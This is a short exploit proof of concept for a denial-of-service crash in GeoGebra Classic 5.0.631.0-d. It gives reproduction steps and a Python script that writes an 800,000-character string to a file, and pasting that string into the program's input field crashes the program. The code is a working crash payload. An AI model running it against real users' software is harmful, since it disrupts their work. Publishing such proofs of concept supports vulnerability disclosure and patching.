# Exploit Title: GeoGebra Classic 5.0.631.0-d - Denial of Service (PoC)
# Date: 2021-03-15
# Exploit Author: Brian Rodriguez
# Vendor Homepage: https://www.geogebra.org
# Software Link: https://www.geogebra.org/download
# Version: 5.0.631.0-d
# Tested on: Windows 8.1 Pro

#STEPS
# Open the program GeoGebra
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content in the field "Entrada:"
# Crashed

--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 800000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")